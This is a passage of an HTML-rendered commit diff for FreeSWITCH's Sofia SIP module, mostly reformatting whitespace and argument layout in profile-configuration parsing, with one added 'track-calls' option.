</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Alias [%s] for profile [%s] (already exists)\n&quot;,                         
-                                                          dname, profile-&gt;name);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Alias [%s] for profile [%s] (already exists)\n&quot;, dname, profile-&gt;name);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2002,7 +2049,7 @@
</span><span class="cx">         if (switch_stristr(&quot;~CISCO_SKIP_MARK_BIT_2833&quot;, str)) {
</span><span class="cx">                 profile-&gt;auto_rtp_bugs &amp;= ~RTP_BUG_CISCO_SKIP_MARK_BIT_2833;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_stristr(&quot;SONUS_SEND_INVALID_TIMESTAMP_2833&quot;, str)) {
</span><span class="cx">                 profile-&gt;auto_rtp_bugs |= RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833;
</span><span class="cx">         }
</span><span class="lines">@@ -2031,7 +2078,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((profiles = switch_xml_child(cfg, &quot;profiles&quot;))) {
</span><span class="cx">                 for (xprofile = switch_xml_child(profiles, &quot;profile&quot;); xprofile; xprofile = xprofile-&gt;next) {
</span><span class="cx">                         char *xprofilename = (char *) switch_xml_attr_soft(xprofile, &quot;name&quot;);
</span><span class="lines">@@ -2042,7 +2089,7 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         /* you could change profile-&gt;foo here if it was a minor change like context or dialplan ... */
</span><del>-                        profile-&gt;rport_level = 1; /* default setting */
</del><ins>+                        profile-&gt;rport_level = 1;        /* default setting */
</ins><span class="cx">                         profile-&gt;acl_count = 0;
</span><span class="cx">                         profile-&gt;reg_acl_count = 0;
</span><span class="cx">                         profile-&gt;proxy_acl_count = 0;
</span><span class="lines">@@ -2051,7 +2098,7 @@
</span><span class="cx">                         profile-&gt;ib_calls = 0;
</span><span class="cx">                         profile-&gt;ob_calls = 0;
</span><span class="cx">                         profile-&gt;ib_failed_calls = 0;
</span><del>-                        profile-&gt;ob_failed_calls = 0;                
</del><ins>+                        profile-&gt;ob_failed_calls = 0;
</ins><span class="cx">                         profile-&gt;shutdown_type = &quot;false&quot;;
</span><span class="cx"> 
</span><span class="cx">                         if (xprofiledomain) {
</span><span class="lines">@@ -2093,12 +2140,12 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;auto-rtp-bugs&quot;)) {
</span><span class="cx">                                                 parse_rtp_bugs(profile, val);
</span><del>-                                        } else if (!strcasecmp(var, &quot;user-agent-string&quot;)) { 
</del><ins>+                                        } else if (!strcasecmp(var, &quot;user-agent-string&quot;)) {
</ins><span class="cx">                                                 profile-&gt;user_agent = switch_core_strdup(profile-&gt;pool, val);
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;auto-restart&quot;)) {
</span><span class="cx">                                                 profile-&gt;auto_restart = switch_true(val);
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;log-auth-failures&quot;)) {
</span><del>-                                                if (switch_true(val)) { 
</del><ins>+                                                if (switch_true(val)) {
</ins><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_LOG_AUTH_FAIL);
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         sofia_clear_pflag(profile, PFLAG_LOG_AUTH_FAIL);
</span><span class="lines">@@ -2139,7 +2186,7 @@
</span><span class="cx">                                                         sofia_clear_flag(profile, TFLAG_LATE_NEGOTIATION);
</span><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;inbound-proxy-media&quot;)) {
</span><del>-                                                if (switch_true(val)) { 
</del><ins>+                                                if (switch_true(val)) {
</ins><span class="cx">                                                         sofia_set_flag(profile, TFLAG_PROXY_MEDIA);
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         sofia_clear_flag(profile, TFLAG_PROXY_MEDIA);
</span><span class="lines">@@ -2181,7 +2228,7 @@
</span><span class="cx">                                                         profile-&gt;ndlb &amp;= ~PFLAG_NDLB_ALLOW_BAD_IANANAME;
</span><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;aggressive-nat-detection&quot;)) {
</span><del>-                                                if (switch_true(val)) { 
</del><ins>+                                                if (switch_true(val)) {
</ins><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION);
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         sofia_clear_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION);
</span><span class="lines">@@ -2194,15 +2241,15 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;NDLB-support-asterisk-missing-srtp-auth&quot;)) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><del>-                                                        sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH); 
</del><ins>+                                                        sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
</ins><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_DISABLE_SRTP_AUTH); 
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;NDLB-funny-stun&quot;)) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><del>-                                                        sofia_set_pflag(profile, PFLAG_FUNNY_STUN); 
</del><ins>+                                                        sofia_set_pflag(profile, PFLAG_FUNNY_STUN);
</ins><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_FUNNY_STUN); 
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_FUNNY_STUN);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;stun-enabled&quot;)) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><span class="lines">@@ -2214,7 +2261,7 @@
</span><span class="cx">                                                 if (switch_true(val)) {
</span><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
</span><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE); 
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;apply-nat-acl&quot;)) {
</span><span class="cx">                                                 if (profile-&gt;acl_count &lt; SOFIA_MAX_ACL) {
</span><span class="lines">@@ -2411,7 +2458,8 @@
</span><span class="cx">                                                         profile-&gt;dtmf_duration = dur;
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         profile-&gt;dtmf_duration = SWITCH_DEFAULT_DTMF_DURATION;
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Duration out of bounds, using default of %d!\n&quot;, SWITCH_DEFAULT_DTMF_DURATION);
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Duration out of bounds, using default of %d!\n&quot;,
+                                                                                          SWITCH_DEFAULT_DTMF_DURATION);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;timer-T1&quot;)) {
</span><span class="cx">                                                 int v = atoi(val);
</span><span class="lines">@@ -2452,7 +2500,7 @@
</span><span class="cx">                         if ((gateways_tag = switch_xml_child(xprofile, &quot;gateways&quot;))) {
</span><span class="cx">                                 parse_gateways(profile, gateways_tag);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><span class="cx">                         if ((domains_tag = switch_xml_child(xprofile, &quot;domains&quot;))) {
</span><span class="lines">@@ -2461,7 +2509,7 @@
</span><span class="cx">                                 switch_assert(xml_params);
</span><span class="cx">                                 switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, &quot;purpose&quot;, &quot;gateways&quot;);
</span><span class="cx">                                 switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, &quot;profile&quot;, profile-&gt;name);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 for (domain_tag = switch_xml_child(domains_tag, &quot;domain&quot;); domain_tag; domain_tag = domain_tag-&gt;next) {
</span><span class="cx">                                         switch_xml_t droot, x_domain_tag;
</span><span class="cx">                                         const char *dname = switch_xml_attr_soft(domain_tag, &quot;name&quot;);
</span><span class="lines">@@ -2484,7 +2532,7 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_event_destroy(&amp;xml_params);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -2492,7 +2540,7 @@
</span><span class="cx">                                 for (alias_tag = switch_xml_child(aliases_tag, &quot;alias&quot;); alias_tag; alias_tag = alias_tag-&gt;next) {
</span><span class="cx">                                         char *aname = (char *) switch_xml_attr_soft(alias_tag, &quot;name&quot;);
</span><span class="cx">                                         if (!zstr(aname)) {
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (sofia_glue_add_profile(switch_core_strdup(profile-&gt;pool, aname), profile) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Adding Alias [%s] for profile [%s]\n&quot;, aname, profile-&gt;name);
</span><span class="cx">                                                 } else {
</span><span class="lines">@@ -2505,11 +2553,11 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (xml) {
</span><del>-        switch_xml_free(xml);
-    }
</del><ins>+                switch_xml_free(xml);
+        }
</ins><span class="cx"> 
</span><span class="cx">         switch_event_destroy(&amp;params);
</span><span class="cx"> 
</span><span class="lines">@@ -2532,7 +2580,7 @@
</span><span class="cx">                         su_deinit();
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Redirect loggers in sofia */
</span><span class="cx">                 su_log_redirect(su_log_default, logger, NULL);
</span><span class="cx">                 su_log_redirect(tport_log, logger, NULL);
</span><span class="lines">@@ -2693,7 +2741,7 @@
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;auto-restart&quot;)) {
</span><span class="cx">                                                 profile-&gt;auto_restart = switch_true(val);
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;log-auth-failures&quot;)) {
</span><del>-                                                if (switch_true(val)) { 
</del><ins>+                                                if (switch_true(val)) {
</ins><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_LOG_AUTH_FAIL);
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         sofia_clear_pflag(profile, PFLAG_LOG_AUTH_FAIL);
</span><span class="lines">@@ -2767,6 +2815,8 @@
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         sofia_clear_pflag(profile, PFLAG_UUID_AS_CALLID);
</span><span class="cx">                                                 }
</span><ins>+                                        } else if (!strcasecmp(var, &quot;track-calls&quot;) &amp;&amp; switch_true(val)) {
+                                                sofia_set_pflag(profile, PFLAG_TRACK_CALLS);
</ins><span class="cx">                                         } else if (!strcasecmp(var, &quot;NDLB-received-in-nat-reg-contact&quot;) &amp;&amp; switch_true(val)) {
</span><span class="cx">                                                 sofia_set_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT);
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;aggressive-nat-detection&quot;) &amp;&amp; switch_true(val)) {
</span><span class="lines">@@ -2777,21 +2827,21 @@
</span><span class="cx">                                                 sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;NDLB-funny-stun&quot;)) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><del>-                                                        sofia_set_pflag(profile, PFLAG_FUNNY_STUN); 
</del><ins>+                                                        sofia_set_pflag(profile, PFLAG_FUNNY_STUN);
</ins><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_FUNNY_STUN); 
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_FUNNY_STUN);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;stun-enabled&quot;)) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_STUN_ENABLED);
</span><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_STUN_ENABLED); 
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_STUN_ENABLED);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;stun-auto-disable&quot;)) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
</span><span class="cx">                                                 } else {
</span><del>-                                                        sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE); 
</del><ins>+                                                        sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;user-agent-filter&quot;)) {
</span><span class="cx">                                                 profile-&gt;user_agent_filter = switch_core_strdup(profile-&gt;pool, val);
</span><span class="lines">@@ -2802,7 +2852,7 @@
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;cng-pt&quot;) &amp;&amp; !sofia_test_pflag(profile, PFLAG_SUPPRESS_CNG)) {
</span><span class="cx">                                                 profile-&gt;cng_pt = (switch_payload_t) atoi(val);
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;sip-port&quot;)) {
</span><del>-                                                profile-&gt;sip_port = (switch_port_t)atoi(val);
</del><ins>+                                                profile-&gt;sip_port = (switch_port_t) atoi(val);
</ins><span class="cx">                                         } else if (!strcasecmp(var, &quot;vad&quot;)) {
</span><span class="cx">                                                 if (!strcasecmp(val, &quot;in&quot;)) {
</span><span class="cx">                                                         sofia_set_flag(profile, TFLAG_VAD_IN);
</span><span class="lines">@@ -2817,9 +2867,10 @@
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;ext-rtp-ip&quot;)) {
</span><span class="cx">                                                 if (!zstr(val)) {
</span><span class="cx">                                                         char *ip = mod_sofia_globals.guess_ip;
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!strcmp(val, &quot;0.0.0.0&quot;)) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid IP 0.0.0.0 replaced with %s\n&quot;, mod_sofia_globals.guess_ip);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid IP 0.0.0.0 replaced with %s\n&quot;,
+                                                                                                  mod_sofia_globals.guess_ip);
</ins><span class="cx">                                                         } else if (!strcasecmp(val, &quot;auto-nat&quot;)) {
</span><span class="cx">                                                                 ip = NULL;
</span><span class="cx">                                                         } else {
</span><span class="lines">@@ -2839,7 +2890,7 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;rtp-ip&quot;)) {
</span><span class="cx">                                                 char *ip = mod_sofia_globals.guess_ip;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!strcmp(val, &quot;0.0.0.0&quot;)) {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid IP 0.0.0.0 replaced with %s\n&quot;, mod_sofia_globals.guess_ip);
</span><span class="cx">                                                 } else {
</span><span class="lines">@@ -2860,11 +2911,12 @@
</span><span class="cx">                                                         char *ip = mod_sofia_globals.guess_ip;
</span><span class="cx">                                                         char stun_ip[50] = &quot;&quot;;
</span><span class="cx">                                                         char *myip = stun_ip;
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_copy_string(stun_ip, ip, sizeof(stun_ip));
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!strcasecmp(val, &quot;0.0.0.0&quot;)) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid IP 0.0.0.0 replaced with %s\n&quot;, mod_sofia_globals.guess_ip);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid IP 0.0.0.0 replaced with %s\n&quot;,
+                                                                                                  mod_sofia_globals.guess_ip);
</ins><span class="cx">                                                         } else if (!strcasecmp(val, &quot;auto-nat&quot;)) {
</span><span class="cx">                                                                 ip = NULL;
</span><span class="cx">                                                         } else if (strcasecmp(val, &quot;auto&quot;)) {
</span><span class="lines">@@ -2878,7 +2930,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                         if (ip) {
</span><span class="cx">                                                                 if (!strncasecmp(ip, &quot;autonat:&quot;, 8)) {
</span><del>-                                                                        profile-&gt;extsipip = switch_core_strdup(profile-&gt;pool, ip +  8);
</del><ins>+                                                                        profile-&gt;extsipip = switch_core_strdup(profile-&gt;pool, ip + 8);
</ins><span class="cx">                                                                         sofia_set_pflag(profile, PFLAG_AUTO_NAT);
</span><span class="cx">                                                                 } else {
</span><span class="cx">                                                                         profile-&gt;extsipip = switch_core_strdup(profile-&gt;pool, ip);
</span><span class="lines">@@ -2940,10 +2992,10 @@
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;manage-presence&quot;)) {
</span><span class="cx">                                                 if (!strcasecmp(val, &quot;passive&quot;)) {
</span><span class="cx">                                                         profile-&gt;pres_type = PRES_TYPE_PASSIVE;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 } else if (switch_true(val)) {
</span><span class="cx">                                                         profile-&gt;pres_type = PRES_TYPE_FULL;
</span><del>-                                                } 
</del><ins>+                                                }
</ins><span class="cx">                                         } else if (!strcasecmp(var, &quot;manage-shared-appearance&quot;)) {
</span><span class="cx">                                                 if (switch_true(val)) {
</span><span class="cx">                                                         sofia_set_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE);
</span><span class="lines">@@ -3182,7 +3234,7 @@
</span><span class="cx">                                                         profile-&gt;dtmf_duration = dur;
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         profile-&gt;dtmf_duration = SWITCH_DEFAULT_DTMF_DURATION;
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Duration out of bounds, using default of %d!\n&quot;, 
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Duration out of bounds, using default of %d!\n&quot;,
</ins><span class="cx">                                                                                           SWITCH_DEFAULT_DTMF_DURATION);
</span><span class="cx">                                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -3196,7 +3248,7 @@
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;tls-bind-params&quot;)) {
</span><span class="cx">                                                 profile-&gt;tls_bind_params = switch_core_strdup(profile-&gt;pool, val);
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;tls-sip-port&quot;)) {
</span><del>-                                                profile-&gt;tls_sip_port = (switch_port_t)atoi(val);
</del><ins>+                                                profile-&gt;tls_sip_port = (switch_port_t) atoi(val);
</ins><span class="cx">                                         } else if (!strcasecmp(var, &quot;tls-cert-dir&quot;)) {
</span><span class="cx">                                                 profile-&gt;tls_cert_dir = switch_core_strdup(profile-&gt;pool, val);
</span><span class="cx">                                         } else if (!strcasecmp(var, &quot;tls-version&quot;)) {
</span><span class="lines">@@ -3278,7 +3330,7 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (!profile-&gt;sip_port) {
</span><del>-                                        profile-&gt;sip_port = (switch_port_t)atoi(SOFIA_DEFAULT_PORT);
</del><ins>+                                        profile-&gt;sip_port = (switch_port_t) atoi(SOFIA_DEFAULT_PORT);
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (!profile-&gt;dialplan) {
</span><span class="lines">@@ -3298,31 +3350,20 @@
</span><span class="cx">                                         profile-&gt;public_url = switch_core_sprintf(profile-&gt;pool,
</span><span class="cx">                                                                                                                           &quot;sip:%s@%s%s%s:%d&quot;,
</span><span class="cx">                                                                                                                           profile-&gt;contact_user,
</span><del>-                                                                                                                          ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                                                          profile-&gt;extsipip,
-                                                                                                                          ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                                                          profile-&gt;sip_port);
</del><ins>+                                                                                                                          ipv6 ? &quot;[&quot; : &quot;&quot;, profile-&gt;extsipip, ipv6 ? &quot;]&quot; : &quot;&quot;, profile-&gt;sip_port);
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (profile-&gt;extsipip &amp;&amp; !sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
</span><span class="cx">                                         char *ipv6 = strchr(profile-&gt;extsipip, ':');
</span><span class="cx">                                         profile-&gt;url = switch_core_sprintf(profile-&gt;pool,
</span><del>-                                                                                                                &quot;sip:%s@%s%s%s:%d&quot;,
-                                                                                                                profile-&gt;contact_user,
-                                                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                                                profile-&gt;extsipip,
-                                                                                                                ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                                                profile-&gt;sip_port);
</del><ins>+                                                                                                           &quot;sip:%s@%s%s%s:%d&quot;,
+                                                                                                           profile-&gt;contact_user, ipv6 ? &quot;[&quot; : &quot;&quot;, profile-&gt;extsipip, ipv6 ? &quot;]&quot; : &quot;&quot;, profile-&gt;sip_port);
</ins><span class="cx">                                         profile-&gt;bindurl = switch_core_sprintf(profile-&gt;pool, &quot;%s;maddr=%s&quot;, profile-&gt;url, profile-&gt;sipip);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         char *ipv6 = strchr(profile-&gt;sipip, ':');
</span><span class="cx">                                         profile-&gt;url = switch_core_sprintf(profile-&gt;pool,
</span><del>-                                                                                                                &quot;sip:%s@%s%s%s:%d&quot;,
-                                                                                                                profile-&gt;contact_user,
-                                                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                                                profile-&gt;sipip,
-                                                                                                                ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                                                profile-&gt;sip_port);
</del><ins>+                                                                                                           &quot;sip:%s@%s%s%s:%d&quot;,
+                                                                                                           profile-&gt;contact_user, ipv6 ? &quot;[&quot; : &quot;&quot;, profile-&gt;sipip, ipv6 ? &quot;]&quot; : &quot;&quot;, profile-&gt;sip_port);
</ins><span class="cx">                                         profile-&gt;bindurl = profile-&gt;url;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -3336,62 +3377,44 @@
</span><span class="cx">                                         char *bindurl = profile-&gt;bindurl;
</span><span class="cx">                                         profile-&gt;bindurl = switch_core_sprintf(profile-&gt;pool, &quot;%s;%s&quot;, bindurl, profile-&gt;bind_params);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /*
</span><span class="cx">                                  * handle TLS params #2
</span><span class="cx">                                  */
</span><span class="cx">                                 if (sofia_test_pflag(profile, PFLAG_TLS)) {
</span><span class="cx">                                         if (!profile-&gt;tls_sip_port) {
</span><del>-                                                profile-&gt;tls_sip_port = (switch_port_t)atoi(SOFIA_DEFAULT_TLS_PORT);
</del><ins>+                                                profile-&gt;tls_sip_port = (switch_port_t) atoi(SOFIA_DEFAULT_TLS_PORT);
</ins><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         if (profile-&gt;extsipip) {
</span><span class="cx">                                                 char *ipv6 = strchr(profile-&gt;extsipip, ':');
</span><span class="cx">                                                 profile-&gt;tls_public_url = switch_core_sprintf(profile-&gt;pool,
</span><del>-                                                                                                                                  &quot;sip:%s@%s%s%s:%d&quot;,
-                                                                                                                                  profile-&gt;contact_user,
-                                                                                                                                  ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                                                                  profile-&gt;extsipip,
-                                                                                                                                  ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                                                                  profile-&gt;tls_sip_port);
</del><ins>+                                                                                                                                          &quot;sip:%s@%s%s%s:%d&quot;,
+                                                                                                                                          profile-&gt;contact_user,
+                                                                                                                                          ipv6 ? &quot;[&quot; : &quot;&quot;, profile-&gt;extsipip, ipv6 ? &quot;]&quot; : &quot;&quot;, profile-&gt;tls_sip_port);
</ins><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (profile-&gt;extsipip &amp;&amp; !sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
</span><span class="cx">                                                 char *ipv6 = strchr(profile-&gt;extsipip, ':');
</span><del>-                                                profile-&gt;tls_url = 
</del><ins>+                                                profile-&gt;tls_url =
</ins><span class="cx">                                                         switch_core_sprintf(profile-&gt;pool,
</span><span class="cx">                                                                                                 &quot;sip:%s@%s%s%s:%d&quot;,
</span><del>-                                                                                                profile-&gt;contact_user,
-                                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                                profile-&gt;extsipip, ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                                profile-&gt;tls_sip_port);
</del><ins>+                                                                                                profile-&gt;contact_user, ipv6 ? &quot;[&quot; : &quot;&quot;, profile-&gt;extsipip, ipv6 ? &quot;]&quot; : &quot;&quot;, profile-&gt;tls_sip_port);
</ins><span class="cx">                                                 profile-&gt;tls_bindurl =
</span><span class="cx">                                                         switch_core_sprintf(profile-&gt;pool,
</span><span class="cx">                                                                                                 &quot;sips:%s@%s%s%s:%d;maddr=%s&quot;,
</span><span class="cx">                                                                                                 profile-&gt;contact_user,
</span><del>-                                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                                profile-&gt;extsipip,
-                                                                                                ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                                profile-&gt;tls_sip_port,
-                                                                                                profile-&gt;sipip);
</del><ins>+                                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;, profile-&gt;extsipip, ipv6 ? &quot;]&quot; : &quot;&quot;, profile-&gt;tls_sip_port, profile-&gt;sipip);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 char *ipv6 = strchr(profile-&gt;sipip, ':');
</span><del>-                                                profile-&gt;tls_url = 
</del><ins>+                                                profile-&gt;tls_url =
</ins><span class="cx">                                                         switch_core_sprintf(profile-&gt;pool,
</span><span class="cx">                                                                                                 &quot;sip:%s@%s%s%s:%d&quot;,
</span><del>-                                                                                                profile-&gt;contact_user,
-                                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                                profile-&gt;sipip,
-                                                                                                ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                                profile-&gt;tls_sip_port);
</del><ins>+                                                                                                profile-&gt;contact_user, ipv6 ? &quot;[&quot; : &quot;&quot;, profile-&gt;sipip, ipv6 ? &quot;]&quot; : &quot;&quot;, profile-&gt;tls_sip_port);
</ins><span class="cx">                                                 profile-&gt;tls_bindurl =
</span><span class="cx">                                                         switch_core_sprintf(profile-&gt;pool,
</span><span class="cx">                                                                                                 &quot;sips:%s@%s%s%s:%d&quot;,
</span><del>-                                                                                                profile-&gt;contact_user,
-                                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                                profile-&gt;sipip,
-                                                                                                ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                                profile-&gt;tls_sip_port);
</del><ins>+                                                                                                profile-&gt;contact_user, ipv6 ? &quot;[&quot; : &quot;&quot;, profile-&gt;sipip, ipv6 ? &quot;]&quot; : &quot;&quot;, profile-&gt;tls_sip_port);
</ins><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         if (profile-&gt;tls_bind_params) {
</span><span class="lines">@@ -3421,7 +3444,7 @@
</span><span class="cx">                                         switch_assert(xml_params);
</span><span class="cx">                                         switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, &quot;purpose&quot;, &quot;gateways&quot;);
</span><span class="cx">                                         switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, &quot;profile&quot;, profile-&gt;name);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         for (domain_tag = switch_xml_child(domains_tag, &quot;domain&quot;); domain_tag; domain_tag = domain_tag-&gt;next) {
</span><span class="cx">                                                 switch_xml_t droot, x_domain_tag;
</span><span class="cx">                                                 const char *dname = switch_xml_attr_soft(domain_tag, &quot;name&quot;);
</span><span class="lines">@@ -3431,7 +3454,8 @@
</span><span class="cx">                                                 if (!zstr(dname)) {
</span><span class="cx">                                                         if (!strcasecmp(dname, &quot;all&quot;)) {
</span><span class="cx">                                                                 switch_xml_t xml_root, x_domains;
</span><del>-                                                                if (switch_xml_locate(&quot;directory&quot;, NULL, NULL, NULL, &amp;xml_root, &amp;x_domains, xml_params, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
